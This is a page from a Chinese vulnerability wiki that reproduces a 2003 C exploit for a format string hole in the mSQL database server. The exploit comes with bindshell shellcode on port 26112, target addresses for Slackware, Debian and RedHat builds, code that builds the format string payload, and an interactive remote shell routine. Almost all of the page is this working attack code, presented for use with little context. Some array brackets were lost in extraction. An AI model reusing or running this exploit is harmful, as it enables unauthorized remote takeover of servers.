免费、自由、人人可编辑的漏洞库--pwnwiki.com
,
EXP
/* _ ________ _____ ______ __ ___ ____ /____.------` /_______.------.___.----` ___/____ _______ _/ \ _ /\ __. __// ___/_ ___. /_\ /_ | _/ ___ ._\ . \\ /__ _____/ _ / \_ | /__ | _| slc | _____ _ - -------\______||--._____\---._______//-|__ //-.___|----._____|| / \ / \/ * mSQL < remote gid root exploit by lucipher & The Itch (netric) ------------------------------------------------------------------------------ * Exploits a format string hole in mSQL. * Some functions are taken from mSQL's sourcecode Copyright (c) 2003 Netric Security and lucipher All rights reserved. THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. */ #include <stdio.h> /* required by fatal() */ #include <stdlib.h> #include <stdarg.h> /* required by fatal() */ #include <unistd.h> #include <sys/types.h> #include <sys/time.h> #include <string.h> #include <time.h> #include <fcntl.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <errno.h> /* required by errno */ #include <getopt.h> /* required by getopt() */ #include <signal.h> #define PKT_LEN (128*1024) #define ERR_BUF_LEN 200 #define resetError() bzero(msqlErrMsg,sizeof(msqlErrMsg)) #define chopError() { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \ if (*cp == '\n') *cp = 0;} #define NET_READ(fd,b,l) read(fd,b,l) #define NET_WRITE(fd,b,l) write(fd,b,l) #define SERVER_GONE_ERROR "server has gone...\n" #define UNKNOWN_ERROR "foo!" static char msqlErrMsg200; static u_char packetBufPKT_LEN + 4; static int readTimeout; u_char *packet = NULL; int netReadPacket(int fd); int netWritePacket(int fd); /* bindshell shellcode */ char linux_code78 = /* binds on port 26112 */ "\x31\xdb\xf7\xe3\x53\x43\x53" "\x6a\x02\x89\xe1\xb0\x66\x52" "\x50\xcd\x80\x43\x66\x53\x89" "\xe1\x6a\x10\x51\x50\x89\xe1" "\x52\x50\xb0\x66\xcd\x80\x89" "\xe1\xb3\x04\xb0\x66\xcd\x80" "\x43\xb0\x66\xcd\x80\x89\xd9" "\x93\xb0\x3f\xcd\x80\x49\x79" "\xf9\x52\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd" "\x80"; static void intToBuf(cp, val) u_char *cp; int val; { *cp++ = (unsigned int) (val & 0x000000ff); *cp++ = (unsigned int) (val & 0x0000ff00) >> 8; *cp++ = (unsigned int) (val & 0x00ff0000) >> 16; *cp++ = (unsigned int) (val & 0xff000000) >> 24; } static int bufToInt(cp) u_char *cp; { int val; val = 0; val = *cp++; val += ((int) *cp++) << 8; val += ((int) *cp++) << 16; val += ((int) *cp++) << 24; return (val); } int netWritePacket(fd) int fd; { int len, offset, remain, numBytes; len = strlen((char *) packet); intToBuf(packetBuf, len); offset = 0; remain = len + 4; while (remain > 0) { numBytes = NET_WRITE(fd, packetBuf + offset, remain); if (numBytes == -1) { return (-1); } offset += numBytes; remain -= numBytes; } return (0); } int netReadPacket(fd) int fd; { u_char buf4; int len, remain, offset, numBytes; remain = 4; offset = 0; numBytes = 0; readTimeout = 0; while (remain > 0) { /* ** We can't just set an alarm here as on lots of boxes ** both read and recv are non-interuptable. So, we ** wait till there something to read before we start ** reading in the server (not the client) */ if (!readTimeout) { numBytes = NET_READ(fd, buf + offset, remain); if (numBytes < 0 && errno != EINTR) { fprintf(stderr, "Socket read on %d for length failed : ", fd); perror(""); } if (numBytes <= 0) return (-1); } if (readTimeout) break; remain -= numBytes; offset += numBytes; } len = bufToInt(buf); if (len > PKT_LEN) { fprintf(stderr, "Packet too large (%d)\n", len); return (-1); } if (len < 0) { fprintf(stderr, "Malformed packet\n"); return (-1); } remain = len; offset = 0; while (remain > 0) { numBytes = NET_READ(fd, packet + offset, remain); if (numBytes <= 0) { return (-1); } remain -= numBytes; offset += numBytes; } *(packet + len) = 0; return (len); } int msqlSelectDB(int sock, char *db) { memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg)); packet = packetBuf+4; snprintf(packet, PKT_LEN, "%d:%s\n", 2, db); netWritePacket(sock); if (netReadPacket(sock) <= 0) { strcpy(msqlErrMsg, SERVER_GONE_ERROR); return (-1); } if (atoi(packet) == -1) { char *cp; cp = (char *) index(packet, ':'); if (cp) { strcpy(msqlErrMsg, cp + 1); chopError(); } else { strcpy(msqlErrMsg, UNKNOWN_ERROR); } return (-1); } return (0); } struct target { char *name; /* target description */ unsigned long writeaddr; /* mSQL's errMsg + 18 + 8 address */ unsigned long smashaddr; /* strcpy's GOT address */ unsigned long pops; /* number of stack pops */ }; /* high and low words indexers */ enum { hi, lo }; /* default values. */ struct target targets = { /* name write smash pops */ { "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 }, { "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 }, { "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 }, { "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 }, { NULL, 0x0, 0x0, 0 } }; void fatal(char *fmt, ...) { char buffer1024; va_list ap; va_start(ap, fmt); vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap); va_end(ap); fprintf(stderr, "%s", buffer); exit(1); } /* resolve a given hostname */ unsigned long tcp_resolv(char *hostname) { struct hostent *he; unsigned long addr; int n; he = gethostbyname(hostname); if (he == NULL) { n = inet_aton(hostname, (struct in_addr *) addr); if (n < 0) fatal("inet_aton: %s\n", strerror(errno)); return addr; } return *(unsigned long *) he->h_addr; } /* routine to open a tcp/ip connection */ int tcp_connect(char *hostname, int port) { struct sockaddr_in sin; int fd, n; sin.sin_addr.s_addr = tcp_resolv(hostname); sin.sin_family = AF_INET; sin.sin_port = htons(port); fd = socket(AF_INET, SOCK_STREAM, 6); if (fd < 0) return -1; n = connect(fd, (struct sockaddr *) &sin, sizeof (sin)); if (n < 0) return -1; return fd; } int msql_login(char *hostname, unsigned short int port) { char buffer300, *p; int fd, n, opt; fd = tcp_connect(hostname, port); if (fd < 0) fatal("- couldn't connect to host %s:%u\n", hostname, port); setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &opt, 4); memset(&buffer, 0x0, sizeof(buffer)); n = read(fd, &buffer, sizeof(buffer) - 1); if (n < 0) fatal("- could not read socket: %s\n", strerror(errno)); p = (char *)&buffer + 4; if (atoi(p) == -1) fatal("- bad handshake received.\n"); p++; if (*p != ':') p++; p++; if (*p >= '1' && *p <= '3') { /* send buffer size within packet. */ buffer0 = (unsigned int) (5UL & 0x000000ff); buffer1 = (unsigned int) (5UL & 0x0000ff00) >> 8; buffer2 = (unsigned int) (5UL & 0x00ff0000) >> 16; buffer3 = (unsigned int) (5UL & 0xff000000) >> 24; /* sorta like our login. */ buffer4 = 'r'; buffer5 = 'o'; buffer6 = 'o'; buffer7 = 't'; buffer8 = '\n'; buffer9 = '\0'; write(fd, buffer, 9); } n = read(fd, buffer, sizeof(buffer) - 1); if (n < 0) fatal("- client failed in handshake.\n"); printf("+ connected to %s -> %u\n", hostname, port); return fd; } void msql_selectdb(int fd, char *database) { unsigned char buffer300; unsigned int len; len = 117; buffer0 = (unsigned char)(len & 0x000000ff); buffer1 = (unsigned char)(len & 0x0000ff00) >> 8; buffer2 = (unsigned char)(len & 0x00ff0000) >> 16; buffer3 = (unsigned char)(len & 0xff000000) >> 24; snprintf(&buffer4, sizeof(buffer) - 1, "2:%s\n", database); len = write(fd, &buffer0, len); } void shell(int fd) { char buf512; fd_set rfds; int l; write(fd, "id ; uname -a\n", 14); while (1) { FD_SET(0, &rfds); FD_SET(fd, &rfds); select(fd + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET(0, &rfds)) { l = read(0, buf, sizeof (buf)); if (l <= 0) { perror("read user"); exit(EXIT_FAILURE); } write(fd, buf, l); } if (FD_ISSET(fd, &rfds)) { l = read(fd, buf, sizeof (buf)); if (l == 0) { fatal("connection closed by foreign host.\n"); } else if (l < 0) { perror("read remote"); exit (EXIT_FAILURE); } write(1, buf, l); } } } void usage(void) { fprintf(stderr, "mSQLexploit\n\n"); fprintf(stderr, " -l\t\tlist available targets.\n"); fprintf(stderr, " -t target\ttarget selection.\n"); fprintf(stderr, " *** MANUAL ATTACK ***\n"); fprintf(stderr, " -s addr\tsmash address.\n"); fprintf(stderr, " -w addr\twrite address.\n"); fprintf(stderr, " -p num\tnumber of pops.\n"); exit(1); } int main(int argc, char **argv) { struct target manual; struct target *target = NULL; unsigned short port = 0, addr2; unsigned char split4; char *hostname, buffer200; int fd, opt; if (argc <= 1) usage(); memset(&manual, 0x00, sizeof(struct target)); while ((opt = getopt(argc, argv, "lht:s:w:p:")) != EOF) { switch (opt) { case 't': /* pre-written target selection */ target = &targetsatoi(optarg); break; case 'l': { int i; /* iterate through the list of targets and display. */ for (i = 0; targetsi.name; i++) printf("%d %s\n", i, targetsi.name); exit(1); } case 'h': /* print exploit usage information */ usage(); break; /* never reached */ case 's': if (target == NULL) target = &manual; target->name = "Manual Target"; target->smashaddr = strtoul(optarg, NULL, 16); break; case 'w': if (target == NULL) target = &manual; target->name = "Manual Target"; target->writeaddr = strtoul(optarg, NULL, 16) + 0x1a; break; case 'p': if (target == NULL) target = &manual; target->name = "Manual Target"; target->pops = atoi(optarg); } } argc -= optind; argv += optind; if (argc <= 0) { fatal("choose a hostname and optionally a port\n"); } else if (argc == 1) { hostname = argv0; } else { hostname = argv0; port = atoi(argv1) & 0xff; } if (target != NULL) { if (!strncmp(target->name, "Manual", 6)) if (!target->smashaddr || !target->writeaddr || !target->pops) fatal("exploit requires pop count and " "smash, write addresses: use -p and -w and -s " "to set them\n"); } else { target = &target0; } printf("+ attacking %s -> %u\n", hostname, (port) ? port : 1114); fd = msql_login(hostname, (port) ? port : 1114); printf("+ name %s\n", target->name); printf("+ smash %08lx\n", target->smashaddr); printf("+ write %08lx\n", target->writeaddr); printf("+ Now building string...\n"); memset(&buffer, 0x0, sizeof(buffer)); addrlo = (target->writeaddr & 0x0000ffff); addrhi = (target->writeaddr & 0xffff0000) >> 16; /* split the address */ split0 = (target->smashaddr & 0xff000000) >> 24; split1 = (target->smashaddr & 0x00ff0000) >> 16; split2 = (target->smashaddr & 0x0000ff00) >> 8; split3 = (target->smashaddr & 0x000000ff); /* build the format string */ if (addrhi < addrlo) snprintf(buffer, sizeof(buffer), "%c%c%c%c" "%c%c%c%c" "%s" "%%.%du%%%ld$hn" "%%.%du%%%ld$hn", split3 + 2, split2, split1, split0, split3, split2, split1, split0, linux_code, addrhi - 0x68, target->pops, addrlo - addrhi, target->pops + 1); else snprintf(buffer, sizeof(buffer), "%c%c%c%c" "%c%c%c%c" "%s" "%%.%du%%%ld$hn" "%%.%du%%%ld$hn", split3 + 2, split2, split1, split0, split3, split2, split1, split0, linux_code, addrlo - 0x68, target->pops, addrhi - addrlo, target->pops + 1); printf("+ Trying to exploit...\n"); msqlSelectDB(fd, buffer); switch (opt = fork()) { case 0: msqlSelectDB(fd, buffer); exit(1); case -1: fatal("- failed fork()!\n"); default: break; } printf("+ sleeping...\n"); sleep(1); opt = tcp_connect(hostname, 26112); if (opt < 0) fatal("- failed! couldn't connect to bindshell!\n"); printf("+ shell!\n"); shell(opt); return 0; } // milw0rm.com 2003-07-25
免费、自由、人人可编辑的漏洞库